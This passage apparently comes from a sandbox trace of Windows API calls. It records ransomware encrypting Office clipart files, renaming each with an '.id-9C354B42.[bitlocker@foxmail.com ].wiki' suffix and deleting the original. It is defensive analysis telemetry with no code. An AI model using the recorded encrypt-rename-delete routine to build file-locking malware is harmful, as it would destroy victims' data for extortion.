nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.856] SetEndOfFile (hFile=0x1dc) returned 1 [0191.856] CloseHandle (hObject=0x1dc) returned 1 [0191.856] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.856] SetEndOfFile (hFile=0x1f4) returned 1 [0191.856] CloseHandle (hObject=0x1f4) returned 1 [0191.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0191.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.857] lstrlenW (lpString=".doc") returned 4 [0191.857] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.857] lstrlenW (lpString=".docx") returned 5 [0191.857] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0191.857] lstrlenW (lpString=".pdf") returned 4 [0191.857] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.857] lstrlenW (lpString=".xls") returned 4 [0191.857] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.857] lstrlenW (lpString=".xlsx") returned 5 [0191.857] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0191.857] lstrlenW (lpString=".ppt") returned 4 [0191.857] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.857] lstrlenW (lpString=".zip") returned 4 [0191.857] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.857] lstrlenW (lpString=".rar") returned 4 [0191.857] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.858] lstrlenW (lpString=".bz2") returned 4 [0191.858] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.858] lstrlenW (lpString=".7z") returned 3 [0191.858] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.858] lstrlenW (lpString=".dbf") returned 4 [0191.858] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.858] lstrlenW (lpString=".1cd") returned 4 [0191.858] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.858] lstrlenW (lpString=".jpg") returned 4 [0191.858] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.858] lstrlenW (lpString=".doc") returned 4 [0191.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0191.858] lstrlenW (lpString=".docx") returned 5 [0191.858] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0191.858] lstrlenW (lpString=".pdf") returned 4 [0191.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0191.861] lstrlenW (lpString=".xls") returned 4 [0191.861] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0191.861] lstrlenW (lpString=".xlsx") returned 5 [0191.861] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0191.861] lstrlenW (lpString=".ppt") returned 4 [0191.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0191.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.861] lstrlenW (lpString=".zip") returned 4 [0191.861] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0191.861] lstrlenW (lpString=".rar") returned 4 [0191.861] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0191.861] lstrlenW (lpString=".bz2") returned 4 [0191.861] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0191.861] lstrlenW (lpString=".7z") returned 3 [0191.861] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0191.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.861] lstrlenW (lpString=".dbf") returned 4 [0191.861] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0191.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.861] lstrlenW (lpString=".1cd") returned 4 [0191.861] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0191.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0191.861] lstrlenW (lpString=".jpg") returned 4 [0191.861] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0191.861] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.862] lstrlenW (lpString="J0099204.WMF") returned 12 [0191.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.862] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17854) returned 1 [0191.862] CloseHandle (hObject=0x1f4) returned 1 [0191.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0191.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.862] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.862] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.863] GetLastError () returned 0x0 [0191.863] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x45be, lpOverlapped=0x0) returned 1 [0191.868] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0191.869] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.869] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.869] SetEndOfFile (hFile=0x1dc) returned 1 [0191.869] CloseHandle (hObject=0x1dc) returned 1 [0191.869] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.869] SetEndOfFile (hFile=0x1f4) returned 1 [0191.870] CloseHandle (hObject=0x1f4) returned 1 [0191.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0191.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.870] lstrlenW (lpString=".doc") returned 4 [0191.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.870] lstrlenW (lpString=".docx") returned 5 [0191.870] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.871] lstrlenW (lpString=".pdf") returned 4 [0191.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString=".xls") returned 4 [0191.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.871] lstrlenW (lpString=".xlsx") returned 5 [0191.871] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.871] lstrlenW (lpString=".ppt") returned 4 [0191.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.871] lstrlenW (lpString=".zip") returned 4 [0191.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.871] lstrlenW (lpString=".rar") returned 4 [0191.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString=".bz2") returned 4 [0191.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString=".7z") returned 3 [0191.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.871] lstrlenW (lpString=".dbf") returned 4 [0191.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.871] lstrlenW (lpString=".1cd") returned 4 [0191.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.871] lstrlenW (lpString=".jpg") returned 4 [0191.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.871] lstrlenW (lpString=".doc") returned 4 [0191.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString=".docx") returned 5 [0191.872] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0191.872] lstrlenW (lpString=".pdf") returned 4 [0191.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString=".xls") returned 4 [0191.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.872] lstrlenW (lpString=".xlsx") returned 5 [0191.872] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0191.872] lstrlenW (lpString=".ppt") returned 4 [0191.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.872] lstrlenW (lpString=".zip") returned 4 [0191.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.872] lstrlenW (lpString=".rar") returned 4 [0191.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString=".bz2") returned 4 [0191.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString=".7z") returned 3 [0191.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.872] lstrlenW (lpString=".dbf") returned 4 [0191.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.872] lstrlenW (lpString=".1cd") returned 4 [0191.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0191.872] lstrlenW (lpString=".jpg") returned 4 [0191.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.872] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0191.873] lstrlenW (lpString="J0099205.WMF") returned 12 [0191.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.873] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=17854) returned 1 [0191.873] CloseHandle (hObject=0x1f4) returned 1 [0191.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0191.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.873] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.873] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.874] GetLastError () returned 0x0 [0191.874] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x45be, lpOverlapped=0x0) returned 1 [0191.889] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0191.890] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.893] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.893] SetEndOfFile (hFile=0x1dc) returned 1 [0191.893] CloseHandle (hObject=0x1dc) returned 1 [0191.893] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.893] SetEndOfFile (hFile=0x1f4) returned 1 [0191.894] CloseHandle (hObject=0x1f4) returned 1 [0191.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0191.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0191.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.895] lstrlenW (lpString=".doc") returned 4 [0191.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.895] lstrlenW (lpString=".docx") returned 5 [0191.895] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0191.895] lstrlenW (lpString=".pdf") returned 4 [0191.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.895] lstrlenW (lpString=".xls") returned 4 [0191.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.895] lstrlenW (lpString=".xlsx") returned 5 [0191.895] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0191.895] lstrlenW (lpString=".ppt") returned 4 [0191.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.895] lstrlenW (lpString=".zip") returned 4 [0191.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.895] lstrlenW (lpString=".rar") returned 4 [0191.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.895] lstrlenW (lpString=".bz2") returned 4 [0191.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.895] lstrlenW (lpString=".7z") returned 3 [0191.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.895] lstrlenW (lpString=".dbf") returned 4 [0191.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.895] lstrlenW (lpString=".1cd") returned 4 [0191.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.896] lstrlenW (lpString=".jpg") returned 4 [0191.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.896] lstrlenW (lpString=".doc") returned 4 [0191.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString=".docx") returned 5 [0191.896] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0191.896] lstrlenW (lpString=".pdf") returned 4 [0191.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString=".xls") returned 4 [0191.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.896] lstrlenW (lpString=".xlsx") returned 5 [0191.896] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0191.896] lstrlenW (lpString=".ppt") returned 4 [0191.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.896] lstrlenW (lpString=".zip") returned 4 [0191.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.896] lstrlenW (lpString=".rar") returned 4 [0191.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString=".bz2") returned 4 [0191.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString=".7z") returned 3 [0191.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.896] lstrlenW (lpString=".dbf") returned 4 [0191.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.897] lstrlenW (lpString=".1cd") returned 4 [0191.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF") returned 63 [0191.897] lstrlenW (lpString=".jpg") returned 4 [0191.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.897] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0191.897] lstrlenW (lpString="J0101856.BMP") returned 12 [0191.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.897] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=78840) returned 1 [0191.897] CloseHandle (hObject=0x1f4) returned 1 [0191.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp")) returned 0x20 [0191.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0191.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0191.898] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.898] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0191.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0191.898] GetLastError () returned 0x0 [0191.898] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x133f8, lpOverlapped=0x0) returned 1 [0191.901] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x13400, lpOverlapped=0x0) returned 1 [0191.903] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0191.903] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0191.903] SetEndOfFile (hFile=0x1dc) returned 1 [0191.903] CloseHandle (hObject=0x1dc) returned 1 [0192.025] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0192.025] SetEndOfFile (hFile=0x1f4) returned 1 [0192.451] CloseHandle (hObject=0x1f4) returned 1 [0192.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.451] 